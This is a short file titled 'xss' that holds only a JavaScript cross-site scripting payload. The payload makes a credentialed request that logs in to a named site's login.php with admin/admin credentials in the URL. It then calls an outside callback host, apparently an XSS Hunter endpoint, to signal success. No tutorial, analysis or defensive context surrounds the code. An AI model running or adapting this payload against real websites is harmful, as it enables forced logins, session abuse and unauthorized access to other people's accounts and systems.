xss

var xhr = new XMLHttpRequest();
xhr.open('GET', "http://bazetpro.com/login.php?username=admin&password=admin");
xhr.withCredentials = true;
xhr.onload = function () {
    this.open('GET', "//hidesu.xss.ht/");
    this.send();
};
xhr.send();